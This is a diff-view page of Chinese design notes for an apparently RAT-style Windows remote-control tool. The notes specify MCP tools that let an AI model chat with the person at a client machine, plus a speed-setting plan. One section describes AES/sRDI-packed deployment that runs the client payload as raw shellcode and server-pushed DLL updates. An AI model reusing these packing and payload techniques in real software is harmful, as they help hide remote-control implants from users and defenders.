6. **多语言 key 精确匹配**:语言文件为 GBK 编码、key 不 trim(`CIniParser` 保留原始空格);译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK,`·`(U+00B7)、全角括号()等需一致,否则查不到翻译。
|
||||
|
||||
---
|
||||
|
||||
## 9. 实施顺序
|
||||
|
||||
1. `common/commands.h` 扩 `MasterSettings` → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
|
||||
2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线(上传方向,可先验证)。
|
||||
3. 主控端经 `MasterSettings` 下发速度 → 客户端 `CMD_MASTERSETTING` 持久化 → 客户端调用点读配置(下载方向)。
|
||||
4. 编译验证(MSBuild 须传 `-p:SolutionDir`,见项目记忆)。
|
||||
@@ -0,0 +1,254 @@
|
||||
# MCP 远程交谈(P9):AI ↔ 客户端使用者双向对话
|
||||
|
||||
## 1. 目标与边界
|
||||
|
||||
让接入服务端 MCP 的大模型与坐在 Windows 客户端电脑前的人进行多轮文字交谈。
|
||||
|
||||
- **仅 Windows 客户端**:`LNX` / `MAC` / `APK` 直接返回 `-32005`,不发命令。
|
||||
- **复用既有功能,协议零改动**:沿用「远程交谈」(`client/ChatManager.cpp` + `IDD_CHAT`),
|
||||
报文与握手不变。客户端侧只有两处改动:聊天窗口改为 Unicode 对话框(见 §5.8,
|
||||
解决非 936 ACP 系统上的中文乱码),以及加壳部署下对话框改用内嵌模板兜底(见 §5.7)。
|
||||
- **独立开关 `McpChat`**(默认 `0`):与 `McpReadonly` 无关;关闭时四个工具不出现在
|
||||
`tools/list`,直接调用返回 `-32006`。
|
||||
- **直接弹出客户端窗口**:没有确认框;会话建立即代表开始交谈。
|
||||
- 验证方式:在虚拟机里运行交互式 Windows 客户端,由人扮演使用者与服务端 AI 对话。
|
||||
|
||||
## 2. 复用协议
|
||||
|
||||
| 方向 | 报文 |
|
||||
|---|---|
|
||||
| 服务端主连接 → 客户端 | `[COMMAND_CHAT=161]`(1 字节) |
|
||||
| 客户端新建子连接 | 先 `[TOKEN_CONN_AUTH=246]`(`EnableSubConnAuth`),再 `[TOKEN_CHAT_START=62]` |
|
||||
| 服务端子连接 → 客户端 | `[COMMAND_NEXT_CHAT=0]`(1 字节,通知客户端弹窗) |
|
||||
| 双向文本 | `[CP936/GBK 字节][0x00]`,无 token 前缀 |
|
||||
| 服务端子连接 → 客户端 | `[COMMAND_CHAT_CLOSE=1]` 结束 |
|
||||
|
||||
时序:
|
||||
|
||||
```
|
||||
chat_open:
|
||||
FindMainContext(id) → 校验 Windows → 校验 McpChat
|
||||
mainCtx->Send2Client([161])
|
||||
客户端建子连接 → [246] 认证 → [62] 就绪
|
||||
OnChatSubPacket 绑定 62 → 回 [0] → readyAt = now + 1000ms
|
||||
chat_open 等到 started && now >= readyAt 才返回
|
||||
chat_send:
|
||||
subCtx->Send2Client(GBK + NUL) → WaitSendIdle(2000)
|
||||
客户端使用者输入:
|
||||
subCtx → [GBK + NUL] → OnChatSubPacket → inbox → 唤醒 chat_wait
|
||||
chat_close:
|
||||
subCtx->Send2Client([1]) → WaitSendIdle(1000) → CancelIO
|
||||
```
|
||||
|
||||
未绑定子连接上的 `TOKEN_CONN_AUTH(246)` 不被聊天钩子消费,仍由 `MessageHandle`
|
||||
的鉴权分支处理并回 `ConnAuthAck`,认证后子连接的 `clientID` 才可靠(新客户端路径)。
|
||||
已绑定子连接上首字节为 `0xF6` 的 GBK 文本不会被误判为鉴权包(绑定连接上所有包都由
|
||||
聊天钩子消费)。
|
||||
|
||||
## 3. 工具
|
||||
|
||||
| 工具 | 输入 | 输出 |
|
||||
|---|---|---|
|
||||
| `chat_open` | `id`;`timeout_ms`(默认 15000,2000–60000) | `{session_id, status:"open", message}` |
|
||||
| `chat_send` | `id`, `session_id`, `message` | `{session_id, sent:true, bytes}` |
|
||||
| `chat_wait` | `id`, `session_id`;`timeout_ms`(默认 30000,0–55000)、`max_messages`(默认 20,1–50) | `{session_id, messages:[{id,at,text}], timed_out, closed, dropped}` |
|
||||
| `chat_close` | `id`, `session_id` | `{session_id, closed:true}`;主机在线时会话已不存在按幂等处理为成功;主机离线返回 `-32002` |
|
||||
|
||||
典型对话循环:
|
||||
|
||||
```
|
||||
chat_open(id) → session_id
|
||||
chat_send(id, sid, "你好,我是助手")
|
||||
chat_wait(id, sid, 30000) → 对方的回复
|
||||
chat_send(id, sid, "……")
|
||||
chat_wait(id, sid, 30000)
|
||||
chat_close(id, sid)
|
||||
```
|
||||
|
||||
错误码沿用 MCP 约定:
|
||||
|
||||
| 码 | 含义 |
|
||||
|---|---|
|
||||
| `-32001` | `chat_open` 等不到客户端建窗(离线、老客户端、非交互桌面) |
|
||||
| `-32002` | 主机离线 / 会话不存在或已关闭 / `session_id` 不匹配 |
|
||||
| `-32003` | 同设备已有活跃会话;或同一会话已有 `chat_send` / `chat_wait` 在飞 |
|
||||
| `-32004` | 发送失败(`Send2Client` 返回 FALSE) |
|
||||
| `-32005` | 非 Windows 客户端 |
|
||||
| `-32006` | `McpChat` 关闭 |
|
||||
| `-32602` | 参数、UTF-8、GBK 可表示性或长度错误 |
|
||||
|
||||
## 4. 编码与长度
|
||||
|
||||
- **出站**:UTF-8 → CP936 **严格转换**(`MB_ERR_INVALID_CHARS` +
|
||||
`WC_NO_BEST_FIT_CHARS` + `lpUsedDefaultChar`)。emoji、`ö` 等 GBK 不可表示字符
|
||||
直接返回 `-32602`,绝不静默变成 `?`。
|
||||
- **入站**:CP936 → UTF-8,按首个 NUL 截断。
|
||||
- 出站上限 4000 GBK 字节(客户端输入缓冲 `char str[4096]`,硬上限 4095)。
|
||||
- 入站单条上限 8 KiB;inbox 100 条 / 256 KiB,溢出丢最旧并在 `chat_wait` 的
|
||||
`dropped` 中报告。
|
||||
- 拒绝空消息、纯空白、`\r\n`、NUL 及所有 C0 控制字符。
|
||||
|
||||
客户端聊天窗口自 P9 起是 Unicode 对话框(见 §5.8):入站 GBK 字节先转 UTF-16 再
|
||||
显示,出站 UTF-16 严格转 GBK 后发送,因此在德语等非 936 系统上中文不再乱码。协议
|
||||
本身仍是 GBK,`ö`/`ß`/emoji 等 GBK 外字符两端都无法传输(服务端 `-32602`;客户端
|
||||
在发送框下方给出提示并不发送)。
|
||||
|
||||
## 5. 客户端怪癖与规避(协议不变)
|
||||
|
||||
1. **首字节 101 ('e') 被丢弃(客户端已修)**:`client/ChatManager.cpp` 原在任何长度
|
||||
判断之前执行 `if (szBuffer[0] == TOKEN_HEARTBEAT) return;`,而该通道承载自由文本,
|
||||
于是「echo」「error」这类以 e 开头的消息被静默吞掉。交谈子连接上没有心跳(心跳只在
|
||||
主连接、且是 `[101][Heartbeat]` 多字节包,由主连接分发消费),这行是照搬其它 manager
|
||||
的死防御,已删除。服务端**仍保留**前置空格规避:老客户端还带这个缺陷,多一个看不见的
|
||||
空格好过静默丢消息。验证见本章末尾。
|
||||
2. **窗口创建前的文本被丢弃**:客户端收到 `[0]` 后 `WaitForDialogOpen` 只
|
||||
`Sleep(150)`,随后才在线程里 `CreateDialogParamW`;`OnReceive` 仅在 `m_hWnd`
|
||||
非空时显示文本。服务端把 `readyAt` 设为绑定后 1000ms,`chat_open` 等满再返回,
|
||||
`chat_send` 也拒绝早于 `readyAt` 的发送。
|
||||
3. **X / 结束交谈只隐藏不关闭**:客户端 `ShowWindow(SW_HIDE)`,会话仍活;下一条
|
||||
服务端文本会 `SW_RESTORE` 重新弹出。因此隐藏不是关闭信号,结束时必须显式
|
||||
`chat_close`。
|
||||
4. **一字节控制包**:客户端把 `len==1` 的包当命令,故文本必须带尾部 NUL(至少
|
||||
2 字节),空消息在工具层拒绝。
|
||||
5. **手动「远程交谈」竞争**:MCP 会话在飞时用户又点菜单会产生第二个 `[62]`;
|
||||
先到者绑定,后到者被吸收并 `CancelIO`。极窄竞争下用户这次看不到 MFC 窗口,
|
||||
重试即可。
|
||||
6. **Session 0 / SYSTEM**:`COMMAND_CHAT` 不像抓屏那样重定向到交互会话;以服务
|
||||
方式运行的客户端没有交互桌面,`chat_open` 会超时。VM 验证必须在交互桌面运行。
|
||||
7. **加壳部署的对话框兜底**:EXE + SC_AES/sRDI 打包时,
|
||||
`g_hInstance = GetModuleHandle(NULL)` 是外壳进程映像,资源里只有清单、没有
|
||||
`IDD_CHAT`;载荷以裸 shellcode 在壳进程内运行,未注册进加载器,Windows 的
|
||||
`FindResource`/`LoadResource`/`CreateDialogParamW` 取不到对话框
|
||||
(实测 err=1812 / 59),聊天线程建窗后立即退出。客户端因此保留
|
||||
`CreateDialogParamW` 原路径,失败时回退到 `CreateDialogIndirectParamW` +
|
||||
内嵌模板(`client/ChatDialogTemplate.h`,取自载荷 `RT_DIALOG 106`,240 字节),
|
||||
图标回退为「直接遍历本模块映像的资源目录取 `RT_GROUP_ICON 105` →
|
||||
`RT_ICON` → `CreateIconFromResourceEx`」(`client/ImageResource.h`),
|
||||
仍失败才用 `LoadIcon(NULL, IDI_APPLICATION)`。**旧客户端无此兜底,加壳部署下
|
||||
不会弹窗**:MDLL 由服务端自动下发新 DLL 即生效,EXE 需重新分发客户端。
|
||||
8. **Unicode 对话框(非 936 系统乱码修复)**:客户端是 MBCS 编译,但对话框可以建
|
||||
成 Unicode 窗口:`CreateDialogParamW` / `CreateDialogIndirectParamW` 创建的窗口
|
||||
`IsWindowUnicode` 为真,而 `DLGTEMPLATEEX` 的字符串本来就按 UTF-16 存储。因此
|
||||
聊天窗口全部改走 W 版 API——`GetWindowTextW` / `SetDlgItemTextW` / 日志用
|
||||
UTF-16 拼接,消息循环用 `GetMessageW` / `IsDialogMessageW` / `DispatchMessageW`
|
||||
(否则 WM_CHAR / WM_IME_* 会先按 ACP 转换)。入站
|
||||
`MultiByteToWideChar(936, …)`,出站 `WideCharToMultiByte(936,
|
||||
WC_NO_BEST_FIT_CHARS, …, &usedDefault)`;`usedDefault` 置位即 GBK 不可表示
|
||||
字符,提示后不发送。`IDD_CHAT` 字体由点阵 "System" 改为 "MS Shell Dlg"
|
||||
(可缩放,并经 SystemLink 字体链接到中文字体),否则 Unicode 窗口里同样没有
|
||||
中文字形;前提是系统装有至少一种 CJK 字体(简体中文补充字体或 Microsoft YaHei
|
||||
等),否则只能显示方框。静态文案按 `GetUserDefaultUILanguage()` 在中文/英文两套
|
||||
间切换,`Script.rc` 因此直接写英文(德语系统看到的是英文而非乱码)。协议与服务端
|
||||
逻辑不变。
|
||||
|
||||
**首字节 'e' 修复的验证(2026-10-25,Debug 实例 + 本机 Debug 客户端)**:验证时把
|
||||
`McpChat.cpp` 的前置空格临时关掉(否则测不到客户端行为),`chat_open` 后
|
||||
`chat_send "echo test"` 与 `"second line"` 各一条,再从服务端读客户端窗口文本
|
||||
(`EnumWindows` → `WM_GETTEXT`):两条都完整出现在聊天记录里,`echo test` 无前导空格。
|
||||
恢复前置空格后复测,显示为 `" echo test"`(多一个空格但不丢),两条路径都通过。
|
||||
|
||||
## 6. 服务端状态机
|
||||
|
||||
数据结构(`McpServer.h`,受 `m_ChatMutex` 保护):
|
||||
|
||||
```cpp
|
||||
struct ChatSession {
|
||||
std::string sessionId;
|
||||
context* mainCtx; // 主连接(仅身份判断;主连接断开后置空)
|
||||
uint64_t mainClientId;
|
||||
context* subCtx; // 已绑定的子连接;关闭后置空
|
||||
std::string peer; // GetPeerName()(老客户端 clientID=0 兜底)
|
||||
bool started, closed;
|
||||
bool sendBusy, waitBusy; // 同一会话串行发送 / 只允许一个 chat_wait
|
||||
steady_clock::time_point readyAt;
|
||||
time_t lastActiveAt;
|
||||
std::deque<ChatMessage> inbox; // UTF-8,未投递
|
||||
size_t inboxBytes;
|
||||
uint64_t nextMsgId;
|
||||
int dropped;
|
||||
};
|
||||
using ChatSessionPtr = std::shared_ptr<ChatSession>;
|
||||
```
|
||||
|
||||
- 会话用 `shared_ptr` 持有:`chat_wait` / `chat_send` 在工作线程复制一份后,即使
|
||||
map 条目被 `chat_close` 或断线删除也安全。
|
||||
- `m_ChatSessions[device]`、`m_ChatContextToDevice[subCtx]`、`m_ChatAbsorbedSubCtx`
|
||||
与 `m_ChatRoutes`(原子计数)供 `MessageHandle` 快速路径判断;无会话在飞时
|
||||
`OnChatSubPacket` 无锁返回,避免音频/屏幕等高频子连接逐包抢锁。
|
||||
- 锁序:`parent->m_cs`(`FindMainContext`)→ `m_ChatMutex`。持锁期间不发送、
|
||||
不 `CancelIO`、不 `WaitSendIdle`。
|
||||
- 超时/关闭后到达的 `[62]` 由 5s 墓碑(按 device 与 peer 两个维度)吸收并
|
||||
`CancelIO`,避免弹出 MFC 聊天对话框。
|
||||
- 空闲回收 600s(任一无 `busy` 且 `lastActiveAt` 超时的会话),每个 chat 工具
|
||||
入口惰性调用。
|
||||
|
||||
## 7. 钩子与生命周期
|
||||
|
||||
`2015RemoteDlg.cpp`:
|
||||
|
||||
1. `MessageHandle`:MCP 终端块之后、**P8 `OnManagedSubPacket` 之前**调用
|
||||
`OnChatSubPacket`。聊天文本是裸 GBK,首字节可能是 61/255,若先交给 P8 会被
|
||||
误绑定。
|
||||
2. `OfflineProc`:P8 清理之后、`RemoveFromHostList` **之前**调用
|
||||
`OnChatContextClosed`(连接池会复用 `context*`,晚清理会误路由新连接)。
|
||||
子连接断开 → 会话 `closed` 并唤醒 `chat_wait`;主连接断开 → 关闭其所有会话并
|
||||
锁外 `CancelIO` 子连接。
|
||||
3. 启动:`SetChatEnabled(THIS_CFG.GetInt("settings", "McpChat", 0) != 0)`。
|
||||
|
||||
审计:`AuditChatAction` 与 `AuditManageAction` 同落地方式(`WM_SHOWERRORMSG`),
|
||||
标题 `_TR("MCP远程交谈")`;只记录 `session=...` 与 `bytes=N`,**绝不记录消息正文**。
|
||||
`chat_wait` 不审计,避免刷屏。
|
||||
|
||||
## 8. 配置
|
||||
|
||||
| INI key | 默认 | 说明 |
|
||||
|---|---|---|
|
||||
| `McpChat` | `0` | 远程交谈工具族开关;改动需重启服务端 |
|
||||
|
||||
「扩展 → MCP设置」新增复选框「启用远程交谈(AI 与用户对话)」。
|
||||
|
||||
## 9. 验证矩阵
|
||||
|
||||
准备:`McpEnabled=1`、`McpChat=1` 后重启服务端;MCP 客户端重连使 `tools/list`
|
||||
刷新;VM 中交互运行 Windows 客户端。
|
||||
|
||||
| # | 操作 | 期望 |
|
||||
|---|---|---|
|
||||
| 1 | `tools/list`(开关开 / 关) | 四个 chat 工具出现 / 消失;关闭时直调 `-32006` |
|
||||
| 2 | `chat_open(id)` | VM 约 1s 内弹出「远程交谈」;返回 32 位 hex `session_id` |
|
||||
| 3 | `chat_send` 中文;用户回中文;`chat_wait` | VM 显示「对方: …」;返回 UTF-8 原文 |
|
||||
| 4 | 连续多轮、用户连发两条 | 下一轮批量返回,顺序正确,`dropped=0` |
|
||||
| 5 | 发送 `"echo test"`(首字节 'e') | 新客户端原样显示;老客户端靠前置空格仍能显示(`" echo test"`) |
|
||||
| 6 | open 后立刻 send,重复 10 次 | 第一条不丢(1000ms 建窗等待) |
|
||||
| 7 | 4000 / 4001 字节、emoji | 边界内成功;超长与 emoji 返回 `-32602` |
|
||||
| 8 | 无回复时 `chat_wait` | 到点 `timed_out:true`,会话仍活 |
|
||||
| 9 | 用户点 X 隐藏后再 send | 窗口恢复,会话仍活 |
|
||||
| 10 | `chat_close` | 窗口关闭;旧 id 发送 `-32002`;立即重新 open 成功 |
|
||||
| 11 | `chat_wait` 阻塞时杀掉客户端 | 返回 `closed:true`;服务端稳定;重连后可重新 open |
|
||||
| 12 | Linux / macOS / Android 主机 | `-32005`,不发命令 |
|
||||
| 13 | 同设备第二次 `chat_open` | `-32003` |
|
||||
| 14 | 无 MCP 会话时手动「远程交谈」 | MFC 聊天窗口照常打开(回归) |
|
||||
| 15 | 服务端审计日志 | 有 open/send/close 的 session id 与字节数,无消息正文 |
|
||||
| 16 | 现有 MCP 工具 + 手动主机/连接/终端对话框 | 行为不变 |
|
||||
| 17 | `chat_wait timeout_ms=55000` | 在常见 60s 工具超时前返回 |
|
||||
| 18 | 加壳(SC_AES/sRDI)EXE 客户端 `chat_open` | 仍弹出「远程交谈」且标题栏图标正常(内嵌模板 + 自模块映像取图标);客户端日志有 `CreateDialogParamW(1812) 失败,改用内嵌对话框模板` |
|
||||
| 19 | 非 936 系统(如德语 Windows)`chat_open` + 中文 `chat_send` | 标题、按钮为英文(系统 UI 非中文),中文消息正常显示而非乱码;中文系统为中文按钮 |
|
||||
| 20 | 德语系统客户端发送 `Grüße` / emoji | 客户端不发送并在日志区提示 GBK 不支持;服务端若直接 `chat_send` 同类字符返回 `-32602` |
|
||||
| 21 | 未安装任何 CJK 字体的系统 | 中文显示为方框(字体缺失,非编码问题);安装中文补充字体后恢复 |
|
||||
|
||||
## 10. 已知限制
|
||||
|
||||
- **无投递回执**:`sent:true` 只表示已写入子连接并 `WaitSendIdle` 成功,不保证
|
||||
使用者已看见。
|
||||
- **HTTP 工作线程**:`chat_wait` 最长 55s 会占用一个 httplib 工作线程;不要在
|
||||
同一 MCP 连接上并行大量长等待。
|
||||
- **连接池复用窄竞争**:发送时捕获的 `subCtx` 在极端情况下可能已断开并被池复用;
|
||||
与现有终端/屏幕实现同一取舍,靠 `closed` 检查与 `WaitSendIdle` 缩短窗口。
|
||||
- **极慢 VM**:若首条消息仍丢,可把 `kChatOpenSettleMs` 调到 1500–2000ms,代价是
|
||||
`chat_open` 变慢。
|
||||
- **仍是 GBK 通道**:Unicode 对话框解决了「显示」,但线路上仍是 CP936,德语变音
|
||||
字母(`ö`/`ä`/`ß`)、emoji 等无法传输。要根治需引入会话级编码协商(如
|
||||
`TOKEN_CHAT_START` 后追加能力位,双方改用 UTF-8),属未来工作;服务端与客户端
|
||||
必须同时升级,且旧客户端不能误解新报文。
|
||||
- **字体依赖**:中文显示依赖系统已安装的 CJK 字体(字体链接到 "MS Shell Dlg"
|
||||
的后备字体);仅此一点无法由程序保证,缺少字体时显示为方框。
|
||||
+1004
File diff suppressed because it is too large.
Load diff
Loaded 100 of 286 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user